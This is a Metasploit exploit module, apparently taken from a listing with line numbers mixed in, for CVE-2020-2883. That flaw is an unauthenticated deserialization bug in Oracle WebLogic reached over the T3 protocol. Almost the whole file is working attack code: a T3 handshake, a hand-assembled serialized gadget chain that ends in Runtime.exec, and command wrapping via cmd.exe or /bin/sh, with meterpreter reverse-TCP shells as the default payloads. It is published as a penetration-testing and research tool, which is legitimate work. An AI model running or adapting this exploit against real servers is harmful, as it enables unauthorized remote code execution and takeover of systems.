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1
##
2
# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = NormalRanking
8

9
  include Msf::Exploit::Remote::Tcp
10
  include Msf::Exploit::CmdStager
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  include Msf::Exploit::Powershell
12
  prepend Msf::Exploit::Remote::AutoCheck
13

14
  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'WebLogic Server Deserialization RCE BadAttributeValueExpException ExtComp',
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        'Description' => %q{
20
          There exists a Java object deserialization vulnerability
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          in multiple versions of WebLogic.
22

23
          Unauthenticated remote code execution can be achieved by
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          sending a serialized `BadAttributeValueExpException`
25
          object over the T3 protocol to vulnerable versions of
26
          WebLogic. Leveraging an `ExtractorComparator` enables
27
          the ability to trigger `method.invoke()`, which will
28
          execute arbitrary code.
29
        },
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        'License' => MSF_LICENSE,
31
        'Author' => [
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          'Quynh Le', # Vulnerability Discovery
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          'Y4er', # PoC
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          'Shelby Pace', # Metasploit Module
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          'Steve Embling' # T3S additions
36
        ],
37
        'References' => [
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          [ 'CVE', '2020-2883' ],
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          [ 'URL', 'https://www.thezdi.com/blog/2020/5/8/details-on-the-oracle-weblogic-vulnerability-being-exploited-in-the-wild' ],
40
        ],
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        'Platform' => %w[unix linux win],
42
        'Arch' => [ ARCH_X86, ARCH_X64 ],
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        'Privileged' => false,
44
        'Targets' => [
45
          [
46
            'Windows',
47
            {
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              'Platform' => 'win',
49
              'Arch' => [ ARCH_X86, ARCH_X64 ],
50
              'DefaultOptions' => { 'Payload' => 'windows/meterpreter/reverse_tcp' }
51
            }
52
          ],
53
          [
54
            'Unix',
55
            {
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              'Platform' => %w[unix linux],
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              'CmdStagerFlavor' => 'printf',
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              'Arch' => [ ARCH_X86, ARCH_X64 ],
59
              'DefaultOptions' => { 'Payload' => 'linux/x86/meterpreter/reverse_tcp' }
60
            }
61
          ],
62
        ],
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        'DisclosureDate' => '2020-04-30',
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        'DefaultTarget' => 0,
65
        'Notes' => {
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          'Reliability' => [REPEATABLE_SESSION],
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          'Stability' => [CRASH_SAFE],
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          'SideEffects' => [IOC_IN_LOGS]
69
        }
70
      )
71
    )
72

73
    register_options([
74
      Opt::RPORT(7001),
75
    ])
76

77
    register_advanced_options([
78
      OptBool.new('FORCE_T3', [false, 'Force T3 protocol even over SSL', false])
79
    ])
80
  end
81

82
  def check
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    connect
84

85
    web_req = "GET /console/login/LoginForm.jsp HTTP/1.1\nHost: #{peer}\n\n"
86
    sock.put(web_req)
87
    sleep(2)
88
    res = sock.get
89

90
    versions =
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      [
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        Rex::Version.new('12.1.3.0.0'), Rex::Version.new('12.2.1.3.0'),
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        Rex::Version.new('12.2.1.4.0')
94
      ]
95

96
    return CheckCode::Unknown('Failed to obtain response from service') unless res
97

98
    /WebLogic\s+Server\s+Version:\s+(?<version>\d+\.\d+\.\d+\.*\d*\.*\d*)/ =~ res
99
    return CheckCode::Unknown('Failed to detect WebLogic') unless version
100

101
    @version_no = Rex::Version.new(version)
102
    print_status("WebLogic version detected: #{@version_no}")
103

104
    return CheckCode::Appears if versions.include?(@version_no)
105

106
    CheckCode::Detected('Version of WebLogic is not vulnerable')
107
  ensure
108
    disconnect
109
  end
110

111
  def exploit
112
    connect
113
    print_status('Sending handshake...')
114
    t3_handshake
115

116
    if target.name == 'Windows'
117
      win_obj = cmd_psh_payload(payload.encoded, payload_instance.arch.first, { remove_comspec: true })
118
      win_obj.prepend('cmd.exe /c ')
119
      win_obj = build_payload_obj(win_obj)
120
      t3_send(win_obj)
121
    else
122
      execute_cmdstager
123
    end
124
  ensure
125
    disconnect
126
  end
127

128
  def t3_handshake
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    # t3 12.2.1\nAS:255
130
    # \nHL:19\nMS:100000
131
    # 00\n\n
132
    if !datastore['SSL'] || datastore['FORCE_T3']
133
      shake = '7433'
134
    else
135
      shake = '743373'
136
    end
137
    shake << '2031322e322e310a41533a323535'
138
    shake << '0a484c3a31390a4d533a313030303030'
139
    shake << '30300a0a'
140

141
    sock.put([shake].pack('H*'))
142
    sleep(1)
143
    sock.get_once
144
  end
145

146
  def build_payload_obj(payload_data)
147
    payload_obj = 'aced0005' # STREAM_MAGIC, STREAM_VERSION
148
    payload_obj << '73720017' # TC_OBJECT, TC_CLASSDESC, class name length: 23
149
    payload_obj << '6a6176612e7574696c2e5072696f726974795175657565' # java.util.PriorityQueue
150
    payload_obj << '94da30b4fb3f82b1' # SerialVersionUID
151
    payload_obj << '030002' # 2 fields
152
    payload_obj << '490004' # Integer, field name length: 4
153
    payload_obj << '73697a65' # size
154
    payload_obj << '4c000a' # Object, field name length: 10
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    payload_obj << '636f6d70617261746f72' # comparator
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    payload_obj << '740016' # String, field name length: 22
157
    payload_obj << '4c6a6176612f7574696c2f436f6d70617261746f723b' # Ljava/util/Comparator;
158
    payload_obj << '7870'
159
    payload_obj << '00000002'
160
    payload_obj << '7372' # TC_OBJECT, TC_CLASSDESC
161
    payload_obj << '0030' # Class name length: 48
162
    payload_obj << '636f6d2e74616e676f736f6c2e7574696c2e636f' # com.tangosol.util.comparator.ExtractorComparator
163
    payload_obj << '6d70617261746f722e457874726163746f72436f'
164
    payload_obj << '6d70617261746f72'
165
    payload_obj << extractor_comp_uid # SerialVersionUID
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    payload_obj << '020001' # Serializable, 1 field
167
    payload_obj << '4c000b' # Object, field name length: 11
168
    payload_obj << '6d5f657874726163746f72' # m_extractor
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    payload_obj << '740022'
170
    payload_obj << '4c636f6d2f74616e676f736f6c2f7574696c2f56' # Lcom/tangosol/util/ValueExtractor;
171
    payload_obj << '616c7565457874726163746f723b'
172
    payload_obj << '7870'
173
    payload_obj << '7372' # TC_OBJECT, TC_CLASSDESC
174
    payload_obj << '002c' # Class name length: 44
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    payload_obj << '636f6d2e74616e676f736f6c2e7574696c2e6578' # com.tangosol.util.extractor.ChainedExtractor
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    payload_obj << '74726163746f722e436861696e65644578747261'
177
    payload_obj << '63746f72'
178
    payload_obj << chained_extractor_uid # SerialVersionUID
179
    payload_obj << '020000'
180
    payload_obj << '7872' # TC_ENDBLOCKDATA, TC_CLASSDESC
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    payload_obj << '0036' # Class name length: 54
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    payload_obj << '636f6d2e74616e676f736f6c2e7574696c2e6578' # com.tangosol.util.extractor.AbstractCompositeExtractor
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    payload_obj << '74726163746f722e4162737472616374436f6d70'
184
    payload_obj << '6f73697465457874726163746f72'
185
    payload_obj << '086b3d8c05690f44' # SerialVersionUID
186
    payload_obj << '020001' # Serializable, 1 field
187
    payload_obj << '5b000c' # array, length: 12
188
    payload_obj << '6d5f61457874726163746f72' # m_aExtractor
189
    payload_obj << '740023' # String, length: 35
190
    payload_obj << '5b4c636f6d2f74616e676f736f6c2f7574696c2f' # [Lcom/tangosol/util/ValueExtractor;
191
    payload_obj << '56616c7565457874726163746f723b'
192
    payload_obj << '7872' # TC_ENDBLOCKDATA, TC_CLASSDESC
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    payload_obj << '002d' # Class name length: 45
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    payload_obj << '636f6d2e74616e676f736f6c2e7574696c2e6578' # com.tangosol.util.extractor.AbstractExtractor
195
    payload_obj << '74726163746f722e416273747261637445787472'
196
    payload_obj << '6163746f72'
197
    payload_obj << abstract_extractor_uid # SerialVersionUID
198
    payload_obj << '020001' # Serializable, 1 field
199
    payload_obj << '490009' # Integer, field name length: 9
200
    payload_obj << '6d5f6e546172676574' # m_nTarget
201
    payload_obj << '7870'
202
    payload_obj << '00000000'
203
    payload_obj << '7572' # TC_ARRAY, TC_CLASSDESC
204
    payload_obj << '0023' # Class name length: 35
205
    payload_obj << '5b4c636f6d2e74616e676f736f6c2e7574696c2e' # [Lcom.tangosol.util.ValueExtractor;
206
    payload_obj << '56616c7565457874726163746f723b'
207
    payload_obj << '2246204735c4a0fe' # SerialVersionUID
208
    payload_obj << '020000'
209
    payload_obj << '7870'
210
    payload_obj << '00000003'
211
    payload_obj << '7372'
212
    payload_obj << '002f' # Class name length: 47
213
    payload_obj << '636f6d2e74616e676f736f6c2e7574696c2e6578' # com.tangosol.util.extractor.ReflectionExtractor
214
    payload_obj << '74726163746f722e5265666c656374696f6e4578'
215
    payload_obj << '74726163746f72'
216
    payload_obj << reflection_extractor_uid # SerialVersionUID
217
    payload_obj << '02000' # Serializable
218
    payload_obj << reflect_extract_count
219
    payload_obj << '5b0009' # array, length: 9
220
    payload_obj << '6d5f616f506172616d' # m_aoParam
221
    payload_obj << '740013' # String, length: 19
222
    payload_obj << '5b4c6a6176612f6c616e672f4f626a6563743b' # [Ljava/lang/Object;
223
    payload_obj << add_sect
224
    payload_obj << '4c0009' # Object, length: 9
225
    payload_obj << '6d5f734d6574686f64' # m_sMethod
226
    payload_obj << '740012' # String, length: 18
227
    payload_obj << '4c6a6176612f6c616e672f537472696e673b' # Ljava/lang/String;
228
    payload_obj << '7871' # TC_ENDBLOCKDATA, TC_REFERENCE
229
    payload_obj << '007e0009' # handle
230
    payload_obj << '00000000'
231
    payload_obj << '7572'
232
    payload_obj << '0013' # Class name length: 19
233
    payload_obj << '5b4c6a6176612e6c616e672e4f626a6563743b' # [Ljava.lang.Object;
234
    payload_obj << '90ce589f1073296c' # SerialVersionUID
235
    payload_obj << '020000'
236
    payload_obj << '7870'
237
    payload_obj << '00000002'
238
    payload_obj << '74000a' # String, length: 10
239
    payload_obj << '67657452756e74696d65' # getRuntime
240
    payload_obj << '7572' # TC_ARRAY, TC_CLASSDESC
241
    payload_obj << '0012' # Class name length: 18
242
    payload_obj << '5b4c6a6176612e6c616e672e436c6173733b' # [Ljava.lang.Class;
243
    payload_obj << 'ab16d7aecbcd5a99' # SerialVersionUID
244
    payload_obj << '020000' # Serializable, no fields
245
    payload_obj << '7870'
246
    payload_obj << '00000000'
247
    payload_obj << add_tc_null
248
    payload_obj << '740009' # String, length: 9
249
    payload_obj << '6765744d6574686f64' # getMethod
250
    payload_obj << '7371'
251
    payload_obj << '007e000d' # handle
252
    payload_obj << '00000000'
253
    payload_obj << '7571'
254
    payload_obj << (change_handle? ? '007e0012' : '007e0011') # handle
255
    payload_obj << '00000002'
256
    payload_obj << '707571'
257
    payload_obj << (change_handle? ? '007e0012' : '007e0011') # handle
258
    payload_obj << '00000000'
259
    payload_obj << add_tc_null
260
    payload_obj << '740006' # String, length: 6
261
    payload_obj << '696e766f6b65' # invoke
262
    payload_obj << '7371'
263
    payload_obj << '007e000d' # handle
264
    payload_obj << '00000000'
265
    payload_obj << '7571'
266
    payload_obj << (change_handle? ? '007e0012' : '007e0011') # handle
267
    payload_obj << '00000001'
268
    payload_obj << '7572' # TC_ARRAY, TC_CLASSDESC
269
    payload_obj << '0013' # Class name length: 19
270
    payload_obj << '5b4c6a6176612e6c616e672e537472696e673b' # [Ljava.lang.String;
271
    payload_obj << 'add256e7e91d7b47' # SerialVersionUID
272
    payload_obj << '020000'
273
    payload_obj << '7870'
274
    payload_obj << '00000003'
275

276
    payload_bin = format_payload(payload_data)
277
    payload_obj << payload_bin
278

279
    payload_obj << add_tc_null
280
    payload_obj << '740004'
281
    payload_obj << '65786563' # exec
282
    payload_obj << '7704'
283
    payload_obj << '00000003'
284
    payload_obj << '76720011'
285
    payload_obj << '6a6176612e6c616e672e52756e74696d65' # java.lang.Runtime
286
    payload_obj << '0000000000000000000000'
287
    payload_obj << '7870'
288
    payload_obj << '740001'
289
    payload_obj << '3178'
290
  end
291

292
  def extractor_comp_uid
293
    case @version_no
294
    when Rex::Version.new('12.1.3.0.0')
295
      'c7ad6d3a676f3c18'
296
    when Rex::Version.new('12.2.1.3.0')
297
      'fb4ac83df1d72edc'
298
    else
299
      'f9b3bc58cc52cd21'
300
    end
301
  end
302

303
  def change_handle?
304
    @version_no == Rex::Version.new('12.2.1.3.0')
305
  end
306

307
  def chained_extractor_uid
308
    case @version_no
309
    when Rex::Version.new('12.1.3.0.0')
310
      '889f81b0945d5b7f'
311
    when Rex::Version.new('12.2.1.3.0')
312
      '06ee10433a4cc4b4'
313
    else
314
      '435b250b72f63db5'
315
    end
316
  end
317

318
  def abstract_extractor_uid
319
    case @version_no
320
    when Rex::Version.new('12.1.3.0.0')
321
      '658195303e723821'
322
    when Rex::Version.new('12.2.1.3.0')
323
      '752289ad4d460138'
324
    else
325
      '9b1be18ed70100e5'
326
    end
327
  end
328

329
  def reflection_extractor_uid
330
    case @version_no
331
    when Rex::Version.new('12.1.3.0.0')
332
      'ee7ae995c02fb4a2'
333
    when Rex::Version.new('12.2.1.3.0')
334
      '87973791b26429dd'
335
    else
336
      '1f62f564b951b614'
337
    end
338
  end
339

340
  def reflect_extract_count
341
    case @version_no
342
    when Rex::Version.new('12.2.1.3.0')
343
      '3'
344
    else
345
      '2'
346
    end
347
  end
348

349
  def add_sect
350
    sect = ''
351

352
    if @version_no == Rex::Version.new('12.2.1.3.0')
353
      sect << '4c0011' # Object, length: 17
354
      sect << '6d5f657874726163746f' # m_extractorCached
355
      sect << '72436163686564'
356
      sect << '740012'
357
      sect << '4c6a6176612f6c616e67' # Ljava/lang/Object;
358
      sect << '2f4f626a6563743b'
359
    end
360

361
    sect
362
  end
363

364
  def add_tc_null
365
    return '70' if @version_no == Rex::Version.new('12.2.1.3.0')
366

367
    ''
368
  end
369

370
  def t3_send(payload_obj)
371
    print_status('Sending object...')
372

373
    request_obj = '000009f3' # Original packet length
374
    request_obj << '016501' # CMD_IDENTIFY_REQUEST, flags
375
    request_obj << 'ffffffffffffffff'
376
    request_obj << '00000071'
377
    request_obj << '0000ea60'
378
    request_obj << '00000018432ec6'
379
    request_obj << 'a2a63985b5af7d63e643'
380
    request_obj << '83f42a6d92c9e9af0f94'
381
    request_obj << '72027973720078720178'
382
    request_obj << '720278700000000c0000'
383
    request_obj << '00020000000000000000'
384
    request_obj << '00000001007070707070'
385
    request_obj << '700000000c0000000200'
386
    request_obj << '00000000000000000000'
387
    request_obj << '01007006'
388
    request_obj << 'fe010000' # separator
389
    request_obj << 'aced0005' # STREAM_MAGIC, STREAM_VERSION
390
    request_obj << '7372' # TC_OBJECT, TC_CLASSDESC
391
    request_obj << '001d' # Class name length: 29
392
    request_obj << '7765626c6f6769632e72' # weblogic.rjvm.ClassTableEntry
393
    request_obj << '6a766d2e436c61737354'
394
    request_obj << '61626c65456e747279'
395
    request_obj << '2f52658157f4f9ed' # SerialVersionUID
396
    request_obj << '0c0000' # flags?
397
    request_obj << '787072' # TC_ENDBLOCKDATA, TC_NULL, TC_CLASSDESC
398
    request_obj << '0024' # Class name length: 36
399
    request_obj << '7765626c6f6769632e63' # weblogic.common.internal.PackageInfo
400
    request_obj << '6f6d6d6f6e2e696e7465'
401
    request_obj << '726e616c2e5061636b61'
402
    request_obj << '6765496e666f'
403
    request_obj << 'e6f723e7b8ae1ec9' # SerialVersionUID
404
    request_obj << '020009' # Serializable, 9 fields
405
    request_obj << '490005' # Field type: Int, field name length: 5
406
    request_obj << '6d616a6f72' # major
407
    request_obj << '490005' # Field type: Int, field name length: 5
408
    request_obj << '6d696e6f72' # minor
409
    request_obj << '49000b' # Field type: Int, field name length: 11
410
    request_obj << '70617463685570646174' # patchUpdate
411
    request_obj << '65'
412
    request_obj << '49000c' # Field type: Int, field name length: 12
413
    request_obj << '726f6c6c696e67506174' # rollingPatch
414
    request_obj << '6368'
415
    request_obj << '49000b' # Field type: Int, field name length: 11
416
    request_obj << '73657276696365506163' # servicePack
417
    request_obj << '6b'
418
    request_obj << '5a000e' # Field type: Z = Bool, field name length: 14
419
    request_obj << '74656d706f7261727950' # temporaryPatch
420
    request_obj << '61746368'
421
    request_obj << '4c0009' # Field type: Object, field name length: 9
422
    request_obj << '696d706c5469746c65' # implTitle
423
    request_obj << '740012' # String, length: 18
424
    request_obj << '4c6a6176612f6c616e67' # Ljava/lang/String;
425
    request_obj << '2f537472696e673b'
426
    request_obj << '4c000a' # Field type: Object, field name length: 10
427
    request_obj << '696d706c56656e646f72' # implVendor
428
    request_obj << '71007e0003' # TC_REFERENCE, handle
429
    request_obj << '4c000b' # Field type: Object, field name length: 11
430
    request_obj << '696d706c56657273696f6e' # implVersion
431
    request_obj << '71007e0003' # TC_REFERENCE, handle
432
    request_obj << '7870' # TC_ENDBLOCKDATA, TC_NULL
433
    request_obj << '7702' # TC_ENDBLOCKDATA
434
    request_obj << '000078'
435
    request_obj << 'fe010000' # separator
436

437
    request_obj << payload_obj
438

439
    request_obj << 'fe010000' # separator
440
    request_obj << 'aced0005' # STREAM_MAGIC, STREAM_VERSION
441
    request_obj << '7372' # TC_OBJECT, TC_CLASSDESC
442
    request_obj << '001d' # Class name length: 29
443
    request_obj << '7765626c6f6769632e72' # weblogic.rjvm.ClassTableEntry
444
    request_obj << '6a766d2e436c61737354'
445
    request_obj << '61626c65456e747279'
446
    request_obj << '2f52658157f4f9ed' # SerialVersionUID
447
    request_obj << '0c0000'
448
    request_obj << '787072' # TC_ENDBLOCKDATA, TC_NULL, TC_CLASSDESC
449
    request_obj << '0021' # Class name length: 33
450
    request_obj << '7765626c6f6769632e63' # weblogic.common.internal.PeerInfo
451
    request_obj << '6f6d6d6f6e2e696e7465'
452
    request_obj << '726e616c2e5065657249'
453
    request_obj << '6e666f'
454
    request_obj << '585474f39bc908f1' # SerialVersionUID
455
    request_obj << '020007' # Serializable, 7 fields
456
    request_obj << '490005' # Field type: Int, field name length: 5
457
    request_obj << '6d616a6f72' # major
458
    request_obj << '490005' # Field type: Int, field name length: 5
459
    request_obj << '6d696e6f72' # minor
460
    request_obj << '49000b' # Field type: Int, field name length: 11
461
    request_obj << '70617463685570646174' # patchUpdate
462
    request_obj << '65'
463
    request_obj << '49000c' # Field type: Int, field name length: 12
464
    request_obj << '726f6c6c696e67506174' # rollingPatch
465
    request_obj << '6368'
466
    request_obj << '49000b' # Field type: Int, field name length: 11
467
    request_obj << '73657276696365506163' # servicePack
468
    request_obj << '6b'
469
    request_obj << '5a000e' # Field type: Z = Bool, field name length: 14
470
    request_obj << '74656d706f7261727950' # temporaryPatch
471
    request_obj << '61746368'
472
    request_obj << '5b0008' # Field type: Array, field name length: 8
473
    request_obj << '7061636b61676573' # packages
474
    request_obj << '740027' # String, length: 39
475
    request_obj << '5b4c7765626c6f676963' # [Lweblogic/common/internal/PackageInfo;
476
    request_obj << '2f636f6d6d6f6e2f696e'
477
    request_obj << '7465726e616c2f506163'
478
    request_obj << '6b616765496e666f3b'
479
    request_obj << '7872' # TC_ENDBLOCKDATA, TC_CLASSDESC
480
    request_obj << '0024' # Class name length: 36
481
    request_obj << '7765626c6f6769632e63' # weblogic.common.internal.VersionInfo
482
    request_obj << '6f6d6d6f6e2e696e7465'
483
    request_obj << '726e616c2e5665727369'
484
    request_obj << '6f6e496e666f'
485
    request_obj << '972245516452463e' # SerialVersionUID
486
    request_obj << '020003' # Serializable, 3 fields
487
    request_obj << '5b0008' # Field type: Array, field name length: 8
488
    request_obj << '7061636b61676573' # packages
489
    request_obj << '71007e0003' # TC_REFERENCE, handle
490
    request_obj << '4c000e' # Field type: Object, field name length: 14
491
    request_obj << '72656c65617365566572' # releaseVersion
492
    request_obj << '73696f6e'
493
    request_obj << '740012' # String, length: 18
494
    request_obj << '4c6a6176612f6c616e67' # Ljava/lang/String;
495
    request_obj << '2f537472696e673b'
496
    request_obj << '5b0012' # Field type: Array, field name length: 18
497
    request_obj << '76657273696f6e496e66' # versionInfoAsBytes
498
    request_obj << '6f41734279746573'
499
    request_obj << '740002' # String, length: 2
500
    request_obj << '5b42' # [B
501
    request_obj << '7872' # TC_ENDBLOCKDATA, TC_CLASSDESC
502
    request_obj << '0024' # Class name length: 36
503
    request_obj << '7765626c6f6769632e63' # weblogic.common.internal.PackageInfo
504
    request_obj << '6f6d6d6f6e2e696e7465'
505
    request_obj << '726e616c2e5061636b61'
506
    request_obj << '6765496e666f'
507
    request_obj << 'e6f723e7b8ae1ec9' # SerialVersionUID
508
    request_obj << '020009' # Serializable, 9 fields
509
    request_obj << '490005' # Field type: Int, field name length: 5
510
    request_obj << '6d616a6f72' # major
511
    request_obj << '490005' # Field type: Int, field name length: 5
512
    request_obj << '6d696e6f72' # minor
513
    request_obj << '49000b' # Field type: Int, field name length: 11
514
    request_obj << '70617463685570646174' # patchUpdate
515
    request_obj << '65'
516
    request_obj << '49000c' # Field type: Int, field name length: 12
517
    request_obj << '726f6c6c696e67506174' # rollingPatch
518
    request_obj << '6368'
519
    request_obj << '49000b' # Field type: Int, field name length: 11
520
    request_obj << '73657276696365506163' # servicePack
521
    request_obj << '6b'
522
    request_obj << '5a000e' # Field type: Z = Bool, field name length: 14
523
    request_obj << '74656d706f7261727950' # temporaryPatch
524
    request_obj << '61746368'
525
    request_obj << '4c0009' # Field type: Object, field name length: 9
526
    request_obj << '696d706c5469746c65' # implTitle
527
    request_obj << '71007e0005' # TC_REFERENCE, handle
528
    request_obj << '4c000a' # Field type: Object, field name length: 10
529
    request_obj << '696d706c56656e646f72' # implVendor
530
    request_obj << '71007e0005' # TC_REFERENCE, handle
531
    request_obj << '4c000b' # Field type: Object, field name length: 11
532
    request_obj << '696d706c56657273696f' # implVersion
533
    request_obj << '6e'
534
    request_obj << '71007e0005' # TC_REFERENCE, handle
535
    request_obj << '7870' # TC_ENDBLOCKDATA, TC_NULL
536
    request_obj << '7702000078' # TC_BLOCKDATA, 2 bytes, TC_ENDBLOCKDATA
537
    request_obj << 'fe00ff' # separator
538
    request_obj << 'fe010000'
539
    request_obj << 'aced0005' # STREAM_MAGIC, STREAM_VERSION
540
    request_obj << '7372' # TC_OBJECT, TC_CLASSDESC
541
    request_obj << '0013' # Class name length: 19
542
    request_obj << '7765626c6f6769632e72' # weblogic.rjvm.JVMID
543
    request_obj << '6a766d2e4a564d4944'
544
    request_obj << 'dc49c23ede121e2a' # SerialVersionUID
545
    request_obj << '0c0000'
546
    request_obj << '787077' # TC_ENDBLOCKDATA, TC_NULL, TC_BLOCKDATA
547
    request_obj << '4621'
548
    request_obj << '000000000000000000'
549
    request_obj << '09' # length: 9
550
    request_obj << '3132372e302e312e31' # 127.0.1.1
551
    request_obj << '000b' # length: 11
552
    request_obj << '75732d6c2d627265656e' # us-l-breens
553
    request_obj << '73'
554
    request_obj << 'a53caff10000000700'
555
    request_obj << '001b59'
556
    request_obj << 'ffffffffffffffffffff'
557
    request_obj << 'ffffffffffffffffffff'
558
    request_obj << 'ffffffff'
559
    request_obj << '0078'
560
    request_obj << 'fe010000' # separator
561
    request_obj << 'aced0005' # STREAM_MAGIC, STREAM_VERSION
562
    request_obj << '7372' # TC_OBJECT, TC_CLASSDESC
563
    request_obj << '0013' # Class name length: 19
564
    request_obj << '7765626c6f6769632e72' # weblogic.rjvm.JVMID
565
    request_obj << '6a766d2e4a564d4944'
566
    request_obj << 'dc49c23ede121e2a' # SerialVersionUID
567
    request_obj << '0c0000'
568
    request_obj << '787077' # TC_ENDBLOCKDATA, TC_NULL, TC_BLOCKDATA
569
    request_obj << '1d0181401281'
570
    request_obj << '34bf427600093132372e'
571
    request_obj << '302e312e31a53caff1'
572
    request_obj << '000000000078'
573

574
    new_len = (request_obj.length / 2).to_s(16).rjust(8, '0')
575
    request_obj[0, 8] = new_len
576

577
    sock.put([request_obj].pack('H*'))
578
    sleep(1)
579
  end
580

581
  def format_payload(payload_cmd)
582
    print_status('Formatting payload...')
583
    payload_arr = payload_cmd.split(' ', 3)
584

585
    formatted_payload = ''
586
    payload_arr.each do |part|
587
      formatted_payload << '74' # denotes a string
588
      formatted_payload << part.length.to_s(16).rjust(4, '0')
589
      formatted_payload << part.each_byte.map { |b| b.to_s(16).rjust(2, '0') }.join
590
    end
591

592
    formatted_payload
593
  end
594

595
  def execute_command(cmd, _opts = {})
596
    cmd.prepend('/bin/sh -c ')
597
    cmd = build_payload_obj(cmd)
598

599
    t3_send(cmd)
600
  end
601
end
602

603